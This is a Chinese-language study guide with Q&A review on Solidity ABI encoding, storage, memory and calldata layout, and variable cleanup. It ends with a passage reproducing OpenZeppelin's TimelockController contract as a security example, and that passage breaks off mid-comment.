和潜在的 components
成员的对象描述了某种类型的变量。 直至到达一个 元组(tuple)类型且到那点的存储在 type
属性中的字符串以 tuple
为前缀,也就是说,在 tuple
之后紧跟一个 []
或有整数 k
的[k]
,才能确定一个 元组(tuple)。 元组(tuple) 的组件元素会被存储在成员components
中,它是一个数组类型,且与顶级对象具有同样的结构,只是在这里不允许已索引的(indexed
)数组元素。
作为例子,代码
pragma solidity >=0.7.5 <0.9.0;
pragma abicoder v2;
contract Test {
struct S { uint a; uint[] b; T[] c; }
struct T { uint x; uint y; }
function f(S memory, T memory, uint) public pure { }
function g() public pure returns (S memory, T memoryt, uint) {}
}
可由如下 JSON 来表示:
[
{
"name": "f",
"type": "function",
"inputs": [
{
"name": "s",
"type": "tuple",
"components": [
{
"name": "a",
"type": "uint256"
},
{
"name": "b",
"type": "uint256[]"
},
{
"name": "c",
"type": "tuple[]",
"components": [
{
"name": "x",
"type": "uint256"
},
{
"name": "y",
"type": "uint256"
}
]
}
]
},
{
"name": "t",
"type": "tuple",
"components": [
{
"name": "x",
"type": "uint256"
},
{
"name": "y",
"type": "uint256"
}
]
},
{
"name": "a",
"type": "uint256"
}
],
"outputs": []
}
]
严格编码模式
严格的编码模式与上述正式规范中定义的编码完全相同,但使偏移量必须尽可能小,同时不能在数据区域产生重叠,也不允许有间隙。
通常,ABI 解码器是以直接的方式编写的,只是遵循偏移量指针,但有些解码器可能强制执行严格模式。Solidity ABI 解码器目前并不强制执行严格模式,但编码器总是以严格模式创建数据。
非标准打包模式
Non-standard Packed Mode 被称为非标准打包模式,通过 abi.encodePacked()
, Solidity 支持一种非标准打包模式处理以下情形:
长度低于 32 字节的类型,会直接拼接,既不会进行补 0 操作,也不会进行符号扩展
动态类型会直接进行编码,并且不包含长度信息。
数组元素会填充,但仍旧会就地编码。
例如,对 int1, bytes1, uint16, string
用数值-1, 0x42, 0x2424, "Hello, world!"
进行编码将生成如下结果 ::
0xff42242448656c6c6f2c20776f726c6421
^^ int1(-1)
^^ bytes1(0x42)
^^^^ uint16(0x2424)
^^^^^^^^^^^^^^^^^^^^^^^^^^ string("Hello, world!") without a length field
更具体地说:
在编码过程中,所有内容均是就地编码,因此在编码中,没有头和尾的区别,而且数组的长度也不会被编码。
abi.encodePacked
的参数以不填充的方式编码,只要它们不是数组(或string
或bytes
)。数组的编码是由其元素的编码及其填充(padding)的拼接
动态大小的类型如
string
,bytes
或uint[]
在编码时,不包含长度字段string
或bytes
的编码不会在末尾进行填充(padding),除非它是一个数组或结构的一部分(此时会填充为 32 个自己的整数倍 )
一般来说,只要有两个动态大小的元素,因为缺少长度字段,编码就会模糊有歧义。
如果需要填充,可以使用明确的类型转换:abi.encodePacked(uint16(0x12)) == hex"0012"
.
由于在调用函数时没有使用打包模式编码,所以没有特别支持预留函数选择器。由于编码是模糊有歧义的,所以也没有解码方法。
警告:如果你使用 keccak256(abi.encodePacked(a, b))
并且 a
和 b
都是动态类型, 很容易通过把 a
的一部分移到 b
中,从而发生哈希碰撞,反之亦然。
更具体地说, abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c")
。如果你使用 abi.encodePacked
进行签名,认证或数据完整性检验,请确保总是使用相同的类型并且其中只有最多一个动态类型。除非有令人信服的理由,否则应首选 abi.encode
。
实战应用
问答题
不支持 ABI 的 Solidity 类型
下表在左栏显示了不支持 ABI 的 Solidity 类型,以及在右栏显示可以代表它们的 ABI 类型。
Solidity | ABI |
---|---|
address payable | address |
contract | address |
enum | uint8 |
user defined value types | its underlying value type |
struct | tuple |
ABI编码的设计准则
读取的次数取决于参数数组结构中的最大深度;也就是说,要取得
a_i[k][l][r]
需要读取 4 次。变量或数组元素的数据不与其他数据交错,并且它是可以再定位的。它们只会使用相对的”地址”。
函数选择器 function selector 编码原则
函数签名被定义为基础原型的规范表达,而基础原型是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格。.
函数的返回类型并不是函数签名的一部分。在 Solidity 的函数重载 中,返回值并没有被考虑。这是为了使对函数调用的解析保持上下文无关。 然而 metadata 的描述中即包含了输入也包含了输出。(参考 JSON ABI)。
参数由静态和动态混合时的编码
用参数
(0x123, [0x456, 0x789], "1234567890", "Hello, world!")
进行对函数f(uint,uint32[],bytes10,bytes)
的调用会通过以下方式进行编码:取得sha3("f(uint256,uint32[],bytes10,bytes)")
的前 4 字节,也就是0x8be65246
。 然后我们对所有 4 个参数的头部进行编码。对静态类型uint256
和bytes10
是可以直接传过去的值;对于动态类型uint32[]
和bytes
,我们使用的字节数偏移量是它们的数据区域的起始位置,由需编码的值的开始位置算起(也就是说,不计算包含了函数签名的前 4 字节)
事件的ABI
事件是以太坊的日志,事件是监视协议的一个抽象。日志项提供了合约的地址、一系列的
indexed
(最多 4 项)和一些任意长度的二进制数据。为了使用合适的类型数据结构来演绎这些功能,事件沿用了既存的 ABI 函数。给定了事件名称和事件参数之后,我们将其分解为两个子集:已索引的和未索引的。已索引的部分,最多有3 个(对于非匿名事件)或 4 个(对于匿名事件),被用来与事件签名的 Keccak哈希一起组成日志项的主题。未索引的部分就组成了事件的字节数组。
错误ABI
错误数据是以函数调用相同的方式编码,
InsufficientBalance(0, amount)
与函数InsufficientBalance(uint256,uint256)
编码一样。 例如为:0xcf479181
,uint256(0)
,uint256(amount)
.错误的选择器
0x00000000
和0xffffffff
被保留将来使用。永远不要相信错误数据。
ABI编码有哪些模式?
标准模式
严格编码模式
严格的编码模式与上述正式规范中定义的编码完全相同,但使偏移量必须尽可能小,同时不能在数据区域产生重叠,也不允许有间隙。
非严格打包模式
通过
abi.encodePacked()
, Solidity 支持一种非标准打包模式处理以下情形:长度低于 32 字节的类型,会直接拼接,既不会进行补 0 操作,也不会进行符号扩展
动态类型会直接进行编码,并且不包含长度信息。
数组元素会填充,但仍旧会就地编码。
变量的布局
状态变量在 storge 中的布局
合约的状态变量以一种紧凑的方式存储在区块链存储中,以这样的方式,有时多个值会使用同一个存储槽。
除了动态大小的数组和 mapping,数据的存储方式是从位置 0
开始连续放置在 storage 中。对于每个变量,根据其类型确定字节大小。
存储大小少于 32 字节的多个变量会被打包到一个存储插槽(storage slot)中,规则如下:
存储插槽的第一项会以低位对齐的方式储存。
值类型仅使用存储它们所需的字节。
如果存储插槽中的剩余空间不足以储存一个值类型,那么它会被存入下一个存储插槽。
结构体(struct)和数组数据总是会开启一个新插槽(但结构体或数组中的各元素,则按规则紧密打包)。
结构体和数组之后的数据也或开启一个新插槽。
对于使用继承的合约,状态变量的排序由 C3 线性化合约顺序(顺序从最基类合约开始)确定。如果上述规则成立,那么来自不同的合约的状态变量会共享一个存储插槽。
结构体和数组中的成员变量会存储在一起,就像它们单独声明时一样。
使用时候的注意
⚠️ 注意: 在使用小于 32 字节的变量时,合约的 gas 使用量可能会高于使用 32 字节的元素。这是因为 EVM 每次操作 32 个字节,所以如果元素比 32 字节小,EVM 必须执行额外的操作以便将其大小缩减到到所需的大小。
当我们在处理状态变量时,利用编译器会将多个元素(变量)缩减的存储大小打包到一个 存储插槽中,也许是有益,因为可以合并多次读写为单个操作。如果你不是在同一时间读或写一个槽中的所有值,这可能会适得其反。当一个值被写入一个多值存储槽时,必须先读取该存储槽,然后将其与新值合并,避免破坏同一槽中的其他数据,再写入。
当处理函数参数或 memory(内存)中的值时,因为编译器不会打包这些值,所以没有什么额外的益处。
书写时的注意
最后,为了允许 evm 对此进行优化,请确保 storage 中的变量和 struct
成员的书写顺序允许它们被紧密地打包。例如,应该按照 uint128,uint128,uint256
的顺序来声明状态变量,而不是使用 uint128,uint256,uint128
,因为前者只占用两个存储插槽,而后者将占用三个。
⚠️ 注意: storage 中状态变量的布局被认为是 solidity 外部接口的一部分, 因此 storage 变量指针可以传递给库(library)函数。这意味着,本节所述规则的任何变更均被视为语言破坏性变更,并且由于其关键性质,在执行之前应该非常仔细地考虑,在发生这种破坏性变化的情况下,我们希望发布一种兼容模式,在这种模式下,编译器将生成支持旧布局的字节码。
mapping 和动态数组
由于 mapping 和动态数组不可预知大小,不能在状态变量之间存储他们。相反,他们自身根据以上规则仅占用 32 个字节,然后他们包含的元素的存储的起始位置,则是通过 Keccak-256 哈希计算来确定。
起始位置
假设 mapping 或动态数组根据上述存储规则最终可确定某个位置 p
。
对于动态数组,此插槽中会存储数组中元素的数量(字节数组和字符串除外,见下文)。
对于 mapping,该插槽未被使用(为空),但它仍是需要的,以确保两个彼此挨着 mapping,他们的内容在不同的位置上。
数组的元素会从 keccak256(p)
开始;它的布局方式与静态大小的数组相同。一个元素接着一个元素,如果元素的长度不超过 16 字节,就有可能共享存储槽。
动态数组的数组会递归地应用这一规则,例如,如何确定 x[i][j]
元素的位置,其中 x
的类型是 uint24[][]
,计算方法如下(假设x
本身存储在槽 p
): 槽位于 keccak256(keccak256(p) + i) + floor(j / floor(256 / 24))
,且可以从槽数据 v
得到元素内容,使用 (v >> ((j % floor(256 / 24)) * 24)) & type(uint24).max
.
mapping 中的键 k
所对应的槽会位于 keccak256(h(k) . p)
,其中 .
是连接符, h
是一个函数,根据键的类型:
值类型,
h
与在内存中存储值的方式相同的方式将值填充为 32 字节。对于字符串和字节数组,
h(k)
只是未填充的数据。
如果映射值是一个非值类型,计算槽位置标志着数据的开始位置。例如,如果值是结构类型,你必须添加一个与结构成员相对应的偏移量才能到达该成员。
例子说明
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract C {
struct S {
uint16 a;
uint16 b;
uint256 c;
}
uint256 x;
mapping(uint256 => mapping(uint256 => S)) data;
}
让我们计算一下 data[4][9].c
的存储位置。映射本身的位置是 1
(前面有 32 字节变量 x
)。 因此 data[4]
存储在keccak256(uint256(4) . uint256(1))
。 data[4]
的类型又是一个映射,data[4][9]
的数据开始于槽位keccak256(uint256(9). keccak256(uint256(4). uint256(1))
。
在结构 S
的成员 c
中的槽位偏移是 1
,因为 a
和b
被装在一个槽位中。 最后 data[4][9].c
的插槽位置是keccak256(uint256(9) . keccak256(uint256(4) . uint256(1)) + 1
.该值的类型是 uint256
,所以它使用一个槽。
bytes
和 string
bytes
和 string
编码是一样的。
一般来说,编码与 bytes1[]
类似,即有一个槽用于存放数组本身同时还有一个数据区,数据区位置使用槽的
keccak256
hash 计算。然而,对于短字节数组(短于 32 字节),数组元素与长度一起存储在同一个槽中。
具体地说:如果数据长度小于等于 31
字节,则元素存储在高位字节(左对齐),最低位字节存储值 length * 2
。如果数据长度大于等于 32 字节,则在主插槽 p
存储 length * 2 + 1
,数据照常存储在 keccak256(p)
中。因此,可以通过检查是否设置了最低位:短(未设置最低位)和长(设置最低位)来区分短数组和长数组。
⚠️ 注意: 目前不支持处理无效编码的插槽,但可能在将来添加。如果你通过 IR 编译,读取一个无效的编码槽会导致 Panic(0x22)
错误。
JSON 输出
合约的存储布局可以通过 standard JSON interface 获取到。 输出 JSON 对象包含 2 个字段 storage
和 types
。storage
对象是一个数组。
文件: fileA
合约: contract A { uint x; }
存储布局,它的每个元素有如下的形式。
{
"astId": 2,
"contract": "fileA:A",
"label": "x",
"offset": 0,
"slot": "0",
"type": "t_uint256"
}
每个字段说明如下:
astId
是状态变量声明的 AST 节点的 id。contract
是合约的名称,包括其路径作为前缀。label
是状态变量的名称。offset
是根据编码在存储槽内以字节为单位的偏移量。slot
是状态变量所在或开始的存储槽。这个数字可能非常大,因此它的 JSON 值被表示为一个字符串。type
是一个标识符,作为变量类型信息的关键(如下所述)。
给定的 type
,在本例中 t_uint256
代表 types
中的一个元素,其形式为:
{
"encoding": "inplace",
"label": "uint256",
"numberOfBytes": "32",
}
而
encoding
数据在存储中如何编码,可能的数值是:inplace
: 数据在存储中连续排列 (见 前面状态变量储存结构`).mapping
: Keccak-256 基于哈希的方法 (见 前面前面映射和动态数组`).dynamic_array
: Keccak-256 基于哈希的方法 (见 前面映射和动态数组`).bytes
: 单槽或基于 Keccak-256 哈希的方法,取决于数据大小 (见 前面 bytes).
label
是规范的类型名称 。numberOfBytes
是使用的字节数(十进制字符串) 注意,如果numberOfBytes>32
意味着使用了一个以上的槽。
除了上述四个外,有些类型还有额外的信息。映射包含其 key
和 value
类型(再次引用该类型映射中元素类型),数组有其 base
类型,结构以与顶层storage
相同的格式列出其 members
(见
:ref:前面JSON 输出
).
⚠️ 注意: 合约的存储布局的 JSON 输出格式仍被认为是实验性的,即使在 Solidity 的非突破性版本更新中也可能会发生变化。
例子
下面的例子显示了一个合约和它的存储布局,包含值类型和引用类型、被编码打包的类型和嵌套类型。
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.0 <0.9.0;
contract A {
struct S {
uint128 a;
uint128 b;
uint[2] staticArray;
uint[] dynArray;
}
uint x;
uint y;
S s;
address addr;
mapping (uint => mapping (address => bool)) map;
uint[] array;
string s1;
bytes b1;
}
{
"storage": [
{
"astId": 15,
"contract": "fileA:A",
"label": "x",
"offset": 0,
"slot": "0",
"type": "t_uint256"
},
{
"astId": 17,
"contract": "fileA:A",
"label": "y",
"offset": 0,
"slot": "1",
"type": "t_uint256"
},
{
"astId": 20,
"contract": "fileA:A",
"label": "s",
"offset": 0,
"slot": "2",
"type": "t_struct(S)13_storage"
},
{
"astId": 22,
"contract": "fileA:A",
"label": "addr",
"offset": 0,
"slot": "6",
"type": "t_address"
},
{
"astId": 28,
"contract": "fileA:A",
"label": "map",
"offset": 0,
"slot": "7",
"type": "t_mapping(t_uint256,t_mapping(t_address,t_bool))"
},
{
"astId": 31,
"contract": "fileA:A",
"label": "array",
"offset": 0,
"slot": "8",
"type": "t_array(t_uint256)dyn_storage"
},
{
"astId": 33,
"contract": "fileA:A",
"label": "s1",
"offset": 0,
"slot": "9",
"type": "t_string_storage"
},
{
"astId": 35,
"contract": "fileA:A",
"label": "b1",
"offset": 0,
"slot": "10",
"type": "t_bytes_storage"
}
],
"types": {
"t_address": {
"encoding": "inplace",
"label": "address",
"numberOfBytes": "20"
},
"t_array(t_uint256)2_storage": {
"base": "t_uint256",
"encoding": "inplace",
"label": "uint256[2]",
"numberOfBytes": "64"
},
"t_array(t_uint256)dyn_storage": {
"base": "t_uint256",
"encoding": "dynamic_array",
"label": "uint256[]",
"numberOfBytes": "32"
},
"t_bool": {
"encoding": "inplace",
"label": "bool",
"numberOfBytes": "1"
},
"t_bytes_storage": {
"encoding": "bytes",
"label": "bytes",
"numberOfBytes": "32"
},
"t_mapping(t_address,t_bool)": {
"encoding": "mapping",
"key": "t_address",
"label": "mapping(address => bool)",
"numberOfBytes": "32",
"value": "t_bool"
},
"t_mapping(t_uint256,t_mapping(t_address,t_bool))": {
"encoding": "mapping",
"key": "t_uint256",
"label": "mapping(uint256 => mapping(address => bool))",
"numberOfBytes": "32",
"value": "t_mapping(t_address,t_bool)"
},
"t_string_storage": {
"encoding": "bytes",
"label": "string",
"numberOfBytes": "32"
},
"t_struct(S)13_storage": {
"encoding": "inplace",
"label": "struct A.S",
"members": [
{
"astId": 3,
"contract": "fileA:A",
"label": "a",
"offset": 0,
"slot": "0",
"type": "t_uint128"
},
{
"astId": 5,
"contract": "fileA:A",
"label": "b",
"offset": 16,
"slot": "0",
"type": "t_uint128"
},
{
"astId": 9,
"contract": "fileA:A",
"label": "staticArray",
"offset": 0,
"slot": "1",
"type": "t_array(t_uint256)2_storage"
},
{
"astId": 12,
"contract": "fileA:A",
"label": "dynArray",
"offset": 0,
"slot": "3",
"type": "t_array(t_uint256)dyn_storage"
}
],
"numberOfBytes": "128"
},
"t_uint128": {
"encoding": "inplace",
"label": "uint128",
"numberOfBytes": "16"
},
"t_uint256": {
"encoding": "inplace",
"label": "uint256",
"numberOfBytes": "32"
}
}
}
变量在 memory 布局
Solidity 保留了四个 32 字节的插槽,字节范围(包括端点)特定用途如下:
0x00
-0x3f
(64 字节): 用于哈希方法的暂存空间(临时空间)0x40
-0x5f
(32 字节): 当前分配的内存大小(也作为空闲内存指针)0x60
-0x7f
(32 字节): 零位插槽
暂存空间可以在语句之间使用 (例如在内联汇编中)。零位插槽用作动态内存数组的初始值,并且永远不应写入(空闲内存指针最初指向0x80
).Solidity 总是将新对象放在空闲内存指针上,并且内存永远不会被释放(将来可能会改变)。
Solidity 中的内存数组中的元素始终占据 32 字节的倍数(对于 bytes1[]
总是这样,但不适用与 bytes
和 string
)。
多维内存数组是指向内存数组的指针,动态数组的长度存储在数组的第一个插槽中,然后是数组元素。
⚠️ 警告: Solidity 中有一些需要临时存储区的操作需要大于 64 个字节,因此无法放入暂存空间。它们将被放置在空闲内存指向的位置,但是由于使用寿命短,指针不会更新。内存可以归零,也可以不归零。因此,不应指望空闲内存指针指向归零内存区域。
尽管使用 msize
到达绝对归零的内存区域似乎是一个好主意,但使用此类非临时指针而不更新空闲内存指针可能会产生意外结果。
与存储中布局的不同
如上所述,在内存中的布局与在 存储中 有一些不同。下面是一些例子:
数组的不同
下面的数组在存储中占用 32 字节(1 个槽),但在内存中占用 128 字节(4 个元素,每个 32 字节)。
uint8[4] a;
结构体的不同
下面的结构体在存储中占用 96 (1 个槽,每个 32 字节) ,但在内存中占用 128 个字节(4 个元素每个 32 字节)。
struct S {
uint a;
uint b;
uint8 c;
uint8 d;
}
Call Data 布局
假定:函数调用的输入数据采用 ABI 规范。
其中,ABI 规范要求将参数填充为 32 的倍数 个字节。内部函数调用使用不同的约定。
合约构造函数的参数直接附加在合约代码的末尾,也采用 ABI 编码。构造函数将通过硬编码偏移量,而不是通过使用 codesize
操作码来访问它们,因为在将数据追加到代码时,它就会会改变。
清理变量
当一个值短于 256 位时,在某些情况下,剩余位必须被清理。编译器在设计时,会在操作数据之前清理这些剩余位,以避免剩余位中潜在垃圾数据在操作产生任何不利影响。
在将一个值写入存储器之前,需要清除剩余的位,因为存储器的内容可以用于计算哈希值或作为消息调用的数据发送。
同样,在将一个值存储到存储器中之前,也需要清除剩余的位,因为否则可以观察到垃圾数据。
如果紧接着的操作不受影响,就不会清理位。例如,由于任何非零值都会被
JUMPI
指令认为是true
,所以在布尔值被用作条件判断之前,不需要清理它们。JUMPI
。编译器会在将输入数据(input data)加载到堆栈时,会对其进行清理。
⚠️ 注意:通过内联汇编的访问数据没有此操作。如果使用内联汇编来访问短于 256 位的 Solidity 变量,编译器不保证该值被正确清理。
不同的类型有不同的清理无效值的规则:
Type | Valid Values | Invalid Values Mean |
---|---|---|
enum of nmembers | 0 until n - 1 | exception |
bool | 0 or 1 | 1 |
signed integers | sign-extended word | currently silently wraps; in the future exceptions will be thrown |
unsigned integers | higher bits zeroed | currently silently wraps; in the future exceptions will be thrown |
问答题
存储大小少于 32 字节的多个变量会被打包到一个存储插槽(storage slot)中,规则是什么?
存储插槽的第一项会以低位对齐的方式储存。
值类型仅使用存储它们所需的字节。
如果存储插槽中的剩余空间不足以储存一个值类型,那么它会被存入下一个存储插槽。
结构体(struct)和数组数据总是会开启一个新插槽(但结构体或数组中的各元素,则按规则紧密打包)。
结构体和数组之后的数据也或开启一个新插槽。
在使用小于 32 字节的变量时,合约的 gas 使用量可能会高于使用 32 字节的元素。为什么?
这是因为 EVM 每次操作 32 个字节,所以如果元素比 32 字节小,EVM 必须执行额外的操作以便将其大小缩减到到所需的大小。
Solidity 保留了四个 32 字节的插槽,分别是什么,用来做什么?
0x00
-0x3f
(64 字节): 用于哈希方法的暂存空间(临时空间)0x40
-0x5f
(32 字节): 当前分配的内存大小(也作为空闲内存指针)0x60
-0x7f
(32 字节): 零位插槽暂存空间可以在语句之间使用 (例如在内联汇编中)。零位插槽用作动态内存数组的初始值,并且永远不应写入(空闲内存指针最初指向
0x80
).Solidity 总是将新对象放在空闲内存指针上,并且内存永远不会被释放(将来可能会改变)。
memory 与 storge 之间不同之处有哪些?
数组的不同
结构体的不同
原因都是因为内存中每条数据都单独占 32 字节,而在 storge 里,可以储存在一个存储插槽中。
calldata 布局
函数调用的输入数据采用 ABI 规范。
ABI 规范要求将参数填充为 32 的倍数 个字节。
合约构造函数的参数直接附加在合约代码的末尾,也采用 ABI 编码。构造函数将通过硬编码偏移量,而不是通过使用
codesize
操作码来访问它们,因为在将数据追加到代码时,它就会会改变。
聊一聊清理变量
当一个值短于 256 位时,在某些情况下,剩余位必须被清理。编译器在设计时,会在操作数据之前清理这些剩余位,以避免剩余位中潜在垃圾数据在操作产生任何不利影响。
在将一个值写入存储器之前,需要清除剩余的位,因为存储器的内容可以用于计算哈希值或作为消息调用的数据发送。
同样,在将一个值存储到存储器中之前,也需要清除剩余的位,因为否则可以观察到垃圾数据。
如果紧接着的操作不受影响,就不会清理位。例如,由于任何非零值都会被
JUMPI
指令认为是true
,所以在布尔值被用作条件判断之前,不需要清理它们。JUMPI
。编译器会在将输入数据(input data)加载到堆栈时,会对其进行清理。
⚠️ 注意:通过内联汇编的访问数据没有此操作。如果使用内联汇编来访问短于 256 位的 Solidity 变量,编译器不保证该值被正确清理。
合约安全
时间锁合约
说明
对合约的一种保护机制。任何更新操作都是先进入队列。经过一段时间后,才可以真正执行。
DeFi 类 Dapp 都会加时间锁。
注意
测试合约
Main
时间锁合约
TimeLock
Main
内的函数,只能由TimeLock
调用。TimeLock
不能立即调用,需要加事件延迟。
合约代码
以下代码来自 OpenZeppelin TimelockController
contract TimelockController is AccessControl, IERC721Receiver, IERC1155Receiver {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with the following parameters:
*
* - `minDelay`: initial minimum delay for operations
* - `proposers`: accounts to be granted proposer and canceller roles
* - `executors`: accounts to be granted executor role
* - `admin`: optional account to be granted admin role; disable with zero address
*
* IMPORTANT: The optional admin can aid with initial configuration of roles after deployment
* without being subject to delay, but this role should be subsequently renounced in favor of
* administration through timelocked proposals. Previous versions of this contract would assign
* this admin to the deployer automatically and should be renounced as well.
*/
constructor(uint256 minDelay, address[] memory proposers, address[] memory executors, address admin) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE);
// self administration
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// optional admin
if (admin != address(0)) {
_setupRole(TIMELOCK_ADMIN_ROLE, admin);
}
// register proposers and cancellers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
_setupRole(CANCELLER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, AccessControl) returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool registered) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at which an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, payloads, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], payloads[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to become valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'canceller' role.
*/
function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
// This function can reenter, but it doesn't pose a risk because _afterCall checks that the proposal is pending,
// thus any modifications to the operation during reentrancy should be caught.
// slither-disable-next-line reentrancy-eth
function execute(
address target,
uint256 value,
bytes calldata payload,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, payload, predecessor, salt);
_beforeCall(id, predecessor);
_execute(target, value, payload);
emit CallExecuted(id, 0, target, value, payload);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata payloads,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == payloads.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, payloads, predecessor, salt);
_beforeCall(id, predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
address target = targets[i];
uint256 value = values[i];
bytes calldata payload = payloads[i];
_execute(target, value, payload);
emit CallExecuted(id, i, target, value, payload);
}
_afterCall(id);
}
/**
* @dev Execute an operation's call.
*/
function _execute(address target, uint256 value, bytes calldata data) internal virtual {
(bool success, ) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 id, bytes32 predecessor) private view {
require(isOperationReady(id), "TimelockController: operation is not ready");
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
